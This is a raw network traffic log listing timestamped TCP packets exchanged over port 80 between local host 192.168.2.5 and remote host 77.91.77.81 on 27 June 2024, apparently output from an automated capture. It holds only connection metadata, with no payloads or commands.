Jun 27, 2024 19:27:06.906893969 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.906907082 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.906910896 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.906919956 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.906934977 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.906936884 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.906948090 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.906955957 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.906961918 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.906969070 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.906974077 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.906986952 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.906987906 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.906999111 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.907000065 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.907012939 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.907037973 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.907259941 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.907273054 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.907286882 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.907298088 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.907316923 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.907326937 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.946269035 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.946343899 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.946342945 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.946356058 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.946383953 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.946400881 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.946400881 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.946413994 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.946425915 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.946433067 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.946438074 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.946449995 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.946469069 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.968307972 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.968318939 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.968339920 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.968350887 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.968363047 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.968374968 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.968375921 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.968388081 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.968398094 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.968400955 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.968413115 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.968414068 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.968425989 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.968436956 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.968445063 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.968451023 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.968465090 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.968468904 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.968491077 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.968491077 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.968506098 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.968513012 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.968524933 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.968527079 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.968540907 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.968547106 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.968554020 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.968564034 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.968568087 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.968579054 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.968580008 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.968592882 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.968602896 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.968605995 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.968619108 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.968626976 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.968631983 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.968641996 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.968646049 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.968663931 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.968664885 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.968687057 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.968708038 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.968884945 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.968897104 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.968907118 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.968919039 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.968928099 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.968939066 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.968950033 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.968951941 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.968962908 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.968969107 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.968976021 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.968988895 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.968991041 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.969000101 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.969011068 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.969012976 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.969026089 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.969033003 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.969039917 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.969053030 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.969055891 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.969069958 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.969074011 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.969083071 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.969093084 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.969096899 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.969110966 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.969115973 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.969124079 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.969134092 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.969134092 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.969146967 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.969153881 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.969175100 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.969610929 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.969624043 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.969634056 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.969646931 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.969655991 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.969657898 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.969667912 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.969671011 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.969685078 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.969691038 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.969713926 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.969903946 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.969914913 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.969927073 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.969939947 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.969944954 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.969952106 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.969964027 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.969964981 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.969978094 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.969985008 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.970005035 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.970065117 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.970076084 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.970096111 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.970104933 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.970108986 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.970119953 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.970128059 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.970132113 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.970144987 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.970151901 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.970156908 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.970169067 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.970175028 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.970181942 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.970189095 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.970194101 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.970204115 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.970207930 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.970216990 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.970225096 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.970227957 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.970241070 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.970247984 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.970252037 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.970259905 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.970264912 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.970278978 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.970299006 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.970730066 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.970743895 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.970753908 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.970771074 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.970788956 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.002665043 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.002701998 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.002712965 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.002723932 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.002753973 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.002753973 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.003236055 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.003247976 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.003257990 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.003269911 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.003278017 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.003303051 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.003314018 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.003324986 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.003334999 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.003340960 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.003348112 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.003359079 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.003360987 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.003371954 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.003374100 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.003386021 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.003393888 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.003413916 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.003443003 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.003453970 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.003463984 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.003477097 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.003482103 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.003489017 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.003494978 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.003501892 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.003519058 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.003545046 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.032193899 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.032242060 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.032248020 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.032254934 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.032283068 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.032296896 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.032347918 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.032360077 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.032371998 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.032382965 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.032387972 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.032408953 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.032439947 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.058422089 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.058464050 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.058476925 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.058487892 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.058521032 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.058552027 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.058563948 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.058573961 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.058593988 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.058610916 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.058648109 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.058659077 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.058669090 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.058682919 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.058706045 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.058785915 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.058796883 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.058808088 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.058820009 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.058831930 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.058832884 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.058844090 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.058866978 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.058916092 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.058950901 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.059015989 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.059026957 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.059036970 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.059050083 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.059056044 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.059062958 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.059077024 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.059084892 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.059098005 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.059117079 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.059132099 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.059143066 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.059149027 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.059161901 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.059175968 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.059581041 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.059611082 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.059622049 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.059623003 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.059643030 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.059654951 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.059737921 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.059748888 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.059760094 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.059772015 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.059773922 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.059786081 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.059786081 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.059792042 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.059807062 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.059820890 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.059887886 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.059900045 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.059923887 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.059942007 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.059968948 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.059979916 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.060007095 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.060095072 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.060106039 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.060117960 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.060128927 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.060137033 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.060139894 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.060148001 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.060168028 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.060281992 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.060295105 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.060305119 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.060317039 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.060326099 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.060342073 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.060357094 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.060422897 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.060435057 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.060446024 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.060458899 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.060465097 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.060472012 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.060489893 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.060489893 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.060503006 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.060504913 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.060523987 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.060543060 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.060575008 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.060611963 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.060726881 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.060766935 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.060794115 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.060806990 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.060832977 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.060882092 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.060894012 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.060904980 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.060916901 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.060918093 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.060940027 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.060960054 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.061096907 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.061132908 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.061146021 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.061157942 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.061184883 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.061265945 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.061278105 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.061290026 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.061302900 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.061306953 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.061320066 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.061340094 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.061503887 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.061526060 CEST	80	49721	77.91.77.81	192.168.2.5
